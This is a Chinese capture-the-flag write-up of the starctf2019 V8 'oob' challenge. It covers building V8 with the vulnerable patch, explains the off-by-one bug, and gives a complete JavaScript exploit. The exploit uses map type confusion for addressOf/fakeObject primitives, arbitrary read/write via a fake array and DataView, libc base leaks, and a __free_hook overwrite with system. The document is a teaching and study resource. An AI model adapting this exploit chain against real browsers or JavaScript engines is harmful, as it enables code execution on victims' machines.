starctf2019-v8-oob 分析
browser pwn 环境搭建
(1)
下载谷歌源码管理器:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
加入环境变量:
echo 'export PATH=$PATH:"/home/osboxes/browser-pwn/depot_tools"' >> ~/.bashrc
(2)获取v8源码,这步因为墙的原因比较慢,可以在云主机拉取,再下回本地
mkdir v8
cd v8
fetch v8
# 如果中断了则 gclient sync同步
(3)切换到漏洞代码,并打上补丁:
cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../oob.diff
(4)编译,本题需要编译成release版本
tools/dev/gm.py x64.release # 编译 release 版本
tools/dev/gm.py x64.debug # 编译 debug 版本
tools/dev/gm.py x64.release.check # 测试
编辑out.gn/x64.release/args.gn,加入以下内容,以支持job等命令打印对象。
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
(5)调试
gdb 调试d8,使用job命令还需要下载gdb脚本,在gdb中source,或者加入.gdbinit中:https://github.com/GToad/GToad.github.io/releases/download/20190930/gdbinit_v8
gdb ./d8
set args --allow-natives-syntax ./exp.js
r
题目分析
引入的漏洞补丁:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
根据args.length()参数个数len 来决定操作,当len > 2时,则返回undefined,当len为1,即没有参数时,返回数组的第length个元素,当传入1个参数,即len为2时,会将传入的参数赋值给数组的第length个元素。
漏洞利用
前言
(1)v8地址都是八字节对齐,所以最低的三位为空的,因此可以用最低位来表示数据,当表示为指针时会给地址加1。
(2)v8 的对象结构如下:
Map表示object的类型,elements存放数字索引的属性,Property存放非数字索引的属性。
对于下面一个浮点数数组的内存结构如下:
var test_array = [1.1, 2.2, 3,3];
%DebugPrint(test_array);
%SystemBreak();
%DebugPrint(test_array); 打印出来的是test_array数组 map的地址(即对象的地址),而不是elements。
内存模型如下:
当数组存放的是对象时的内存模型为:
var obj = {"a": 1};
var obj_array = [obj];
利用思路
通过patch 的off-by-one漏洞可以修改array对象的map,即对象的类型,构造出类型混淆漏洞。如:
var a = [1.1];
a.oob(); 得到a[1]的值,越界读取map的值
a.oob(0xdeadbeef); 越界写map的值,即a[1]=0xdeadbeef,将map的值改写成0xdeadbeef
(1)构造addressOf和fakeObject原语
- addressOf 原语用于泄露任意传入的object对象地址。
- fakeObject 原语将传入的地址解析成一个object指针返回。
var buf = new ArrayBuffer(16)
var float64 = new Float64Array(buf)
var bigUint64 = new BigUint64Array(buf)
function f2i(f) // 将浮点数转成整数
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i) // 将整数转成浮点数
{
bigUint64[0] = i;
return float64[0];
}
//两个数组操作同一片内存,实现64位浮点数与64位整数之间的转换
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
function addressOf(obj) // obj -> float addr
{
obj_array[0] = obj;
obj_array.oob(float_array_map);// 将obj_array类型变成float型
var object_addr = obj_array[0];// 这样就会将第一个对象地址当成浮点数输出
obj_array.oob(obj_array_map); // 将obj_array类型复原
return f2i(object_addr)-1n; // 得到的是指针,所以需要减1才是真实地址
}
//如果未将obj_array类型变成float型,直接输出,输出的是 0x7ff7ffffffffffff。
function fakeObject(addr) // float addr -> obj
{
var obj_addr = i2f(addr + 1n); // +1变成指针
float_array[0] = obj_addr; // 将地址存入float_array[0],并修改float_array类型为obj array
float_array.oob(obj_array_map);
var fake_object = float_array[0];//这样就会将传入的地址当成是一个对象的地址
float_array.oob(float_array_map); // 将数组类型还原
return fake_object;
}
(2)将类型混淆漏洞转化成任意读写漏洞:
通过addressOf 泄漏fake_array 对象的地址,并且通过计算偏移,获取fake_array[0]的地址,之后fake_array[0]地址解析成object指针,这样fake_array[0]…[5]就会被认为是一个object对象。
通过改写fake_array[2]就可以操作伪造对象fake_object的elements内容,进行任意读写。
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2
];
%DebugPrint(fake_array); // fake array map address
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr + 0x1n - 0x10n);// 传入地址+1变成指针,因为elements属性前面还有map和length占0x10个字节,所以要先扣除
var leak_info = f2i(fake_object[0]);
//console.log("[*] leak addr: 0x" + hex(addr) + " data: 0x" + hex(leak_info));
return leak_info;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr + 0x1n - 0x10n);
fake_object[0] = i2f(data);
//console.log("[*] write data to addr: 0x" + hex(addr) + " data: 0x" + hex(data));
}
示意图如下:
(3)劫持free_hook
已经可以任意读写了,首先需要泄露libc地址或者elf的基址。这里可以通过object->map->constructor->code 来泄漏 elf 的基址
var a = [1.1, 2.2];
%DebugPrint(a.constructor);
pwndbg> job 0x3edb76250ec1
0x3edb76250ec1: [Function] in OldSpace
- map: 0x11bd152c2d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3edb76242109 <JSFunction (sfi = 0x2fb963f03b29)>
- elements: 0x019604340c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: 0x3edb76251111 <JSArray[0]>
- initial_map: 0x11bd152c2d99 <Map(PACKED_SMI_ELEMENTS)>
- shared_info: 0x2fb963f06791 <SharedFunctionInfo Array>
- name: 0x019604343599 <String[#5]: Array>
- builtin: ArrayConstructor
- formal_parameter_count: 65535
- kind: NormalFunction
- context: 0x3edb76241869 <NativeContext[246]>
- code: 0x1dced6306981 <Code BUILTIN ArrayConstructor>
- properties: 0x3edb76251029 <PropertyArray[6]> {
#length: 0x2fb963f004b9 <AccessorInfo> (const accessor descriptor)
#name: 0x2fb963f00449 <AccessorInfo> (const accessor descriptor)
#prototype: 0x2fb963f00529 <AccessorInfo> (const accessor descriptor)
0x019604344c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
0x019604344f41 <Symbol: Symbol.species>: 0x3edb76250fd9 <AccessorPair> (const accessor descriptor)
#isArray: 0x3edb76251069 <JSFunction isArray (sfi = 0x2fb963f06829)> (const data field 1) properties[1]
#from: 0x3edb762510a1 <JSFunction from (sfi = 0x2fb963f06879)> (const data field 2) properties[2]
#of: 0x3edb762510d9 <JSFunction of (sfi = 0x2fb963f068b1)> (const data field 3) properties[3]
}
- feedback vector: not available
pwndbg> job 0x1dced6306981
0x1dced6306981: [Code]
- map: 0x019604340a31 <Map>
kind = BUILTIN
name = ArrayConstructor
compiler = turbofan
address = 0x7ffe6e8de648
Trampoline (size = 13)
0x1dced63069c0 0 49ba80d735f18f550000 REX.W movq r10,0x558ff135d780 (ArrayConstructor)
0x1dced63069ca a 41ffe2 jmp r10
Instructions (size = 28)
0x558ff135d780 0 493955d8 REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
0x558ff135d784 4 7405 jz 0x558ff135d78b (ArrayConstructor)
0x558ff135d786 6 488bca REX.W movq rcx,rdx
0x558ff135d789 9 eb03 jmp 0x558ff135d78e (ArrayConstructor)
0x558ff135d78b b 488bcf REX.W movq rcx,rdi
0x558ff135d78e e 498b5dd8 REX.W movq rbx,[r13-0x28] (root (undefined_value))
0x558ff135d792 12 488bd1 REX.W movq rdx,rcx
0x558ff135d795 15 e926000000 jmp 0x558ff135d7c0 (ArrayConstructorImpl)
0x558ff135d79a 1a 90 nop
0x558ff135d79b 1b 90 nop
Safepoints (size = 8)
RelocInfo (size = 2)
0x1dced63069c2 off heap target
pwndbg> x/10gx 0x558ff135d780
0x558ff135d780 <Builtins_ArrayConstructor>: 0x8b480574d8553949 0x8b49cf8b4803ebca
0x558ff135d790 <Builtins_ArrayConstructor+16>: 0x0026e9d18b48d85d 0x0000000090900000
0x558ff135d7a0 <Builtins_ArrayConstructor+32>: 0xcccccccc00000003 0xcccccccccccccccc
0x558ff135d7b0 <Builtins_ArrayConstructor+48>: 0xcccccccccccccccc 0xcccccccccccccccc
0x558ff135d7c0 <Builtins_ArrayConstructorImpl>: 0x0ffa3b481f778b48 0x5d39490000013d85
object->map->constructor->code 中有一个Builtins_ArrayConstructor函数的地址,这是elf中一个函数,所以用IDA找到偏移:0xfc8780
0x558ff135d780 减去该偏移就是elf加载的基地址,之后找到free函数got表地址,任意读获取free函数地址,然后利用readelf -s 获取free函数在libc.so中偏移,就可以得到libc的基址,进而获取__free_hook和system函数的地址。
var elf_base = leak_constructor_addr - 0xFC8780n;
console.log("[*] elf_base: 0x" + hex(elf_base));
var free_got_addr = elf_base + 0x12AA8B8n;
var free_addr = read64(free_got_addr);
var libc_base = free_addr - 0x9d850n;
console.log("[*] libc_base: 0x" + hex(libc_base));
var system_addr = libc_base + 0x55410n;
console.log("[*] system_addr: 0x" + hex(system_addr));
var free_hook_addr = libc_base + 0x1eeb28n;
console.log("[*] free_hook_addr: 0x" + hex(free_hook_addr));
最后将__free_hook地址上填充system地址,释放一个填充“/usr/bin/gnome-calculator”数组对象,就可以弹出计算器。而在实际过程中发现write64写入会报错,需要利用DataView对象封装另一个任意地址写。
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var backing_store_addr = addressOf(data_buf) + 0x20n;
function dataview_write64(addr, data)
{
write64(backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
}
gdb调试可看到:
pwndbg> job 0x1a568c810929 // data_view
0x1a568c810929: [JSDataView]
- map: 0x04dd372c1719 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1dfa5aa4aff9 <Object map = 0x4dd372c1769>
- elements: 0x29b23ce40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- buffer =0x1a568c8108e9 <ArrayBuffer map = 0x4dd372c21b9>
- byte_offset: 0
- byte_length: 8
- properties: 0x29b23ce40c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> job 0x1a568c8108e9 // data_buf
0x1a568c8108e9: [JSArrayBuffer]
- map: 0x04dd372c21b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1dfa5aa4e981 <Object map = 0x4dd372c2209>
- elements: 0x29b23ce40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5622bb25a520 // 存储数据的指针
- byte_length: 8
- detachable
- properties: 0x29b23ce40c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
往 DataView 写数据时,存储数据的指针是保存在 ArrayBuffer 对象中的 backing_store 字段中,所以修改backing_store 指针为目标地址,就可以对目标地址的内容进行任意读写。
效果示意图
exp.js
var buf = new ArrayBuffer(16)
var float64 = new Float64Array(buf)
var bigUint64 = new BigUint64Array(buf)
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
function addressOf(obj) // obj -> float addr
{
obj_array[0] = obj;
obj_array.oob(float_array_map);
var object_addr = obj_array[0];
obj_array.oob(obj_array_map);
return f2i(object_addr)-1n;
}
function fakeObject(addr) // float addr -> obj
{
var obj_addr = i2f(addr + 1n);
float_array[0] = obj_addr;
float_array.oob(obj_array_map);
var fake_object = float_array[0];
float_array.oob(float_array_map);
return fake_object;
}
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2
];
%DebugPrint(fake_array); // fake array map address
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr + 0x1n - 0x10n);
var leak_info = f2i(fake_object[0]);
//console.log("[*] leak addr: 0x" + hex(addr) + " data: 0x" + hex(leak_info));
return leak_info;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr + 0x1n - 0x10n);
fake_object[0] = i2f(data);
//console.log("[*] write data to addr: 0x" + hex(addr) + " data: 0x" + hex(data));
}
var a = [1.1, 2.2];
var leak_code_addr = read64(addressOf(a.constructor) + 0x30n);
console.log("[*] leak code addr : 0x" + hex(leak_code_addr));
var leak_constructor_addr = read64(leak_code_addr + 0x41n);
console.log("[*] leak constructor addr : 0x" + hex(leak_constructor_addr));
var elf_base = leak_constructor_addr - 0xFC8780n;
console.log("[*] elf_base: 0x" + hex(elf_base));
var free_got_addr = elf_base + 0x12AA8B8n;
var free_addr = read64(free_got_addr);
var libc_base = free_addr - 0x9d850n;
console.log("[*] libc_base: 0x" + hex(libc_base));
var system_addr = libc_base + 0x55410n;
console.log("[*] system_addr: 0x" + hex(system_addr));
var free_hook_addr = libc_base + 0x1eeb28n;
console.log("[*] free_hook_addr: 0x" + hex(free_hook_addr));
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var backing_store_addr = addressOf(data_buf) + 0x20n;
function dataview_write64(addr, data)
{
write64(backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
}
function get_shell()
{
let buffer = new ArrayBuffer(0x1000);
let dataview = new DataView(buffer);
dataview.setFloat64(0, i2f(0x6e69622f7273752fn), true); // /usr/bin/gnome-calculator
dataview.setFloat64(8, i2f(0x632d656d6f6e672fn), true); //
dataview.setFloat64(16, i2f(0x6f74616c75636c61n), true); //
dataview.setFloat64(24, i2f(0x72n), true);
dataview_write64(free_hook_addr, system_addr);
}
get_shell();
参考链接
https://eternalsakura13.com/2018/06/26/v8_environment/
https://www.anquanke.com/post/id/207483
https://github.com/sixstars/starctf2019/tree/master/pwn-OOB
https://migraine-sudo.github.io/2020/02/15/v8/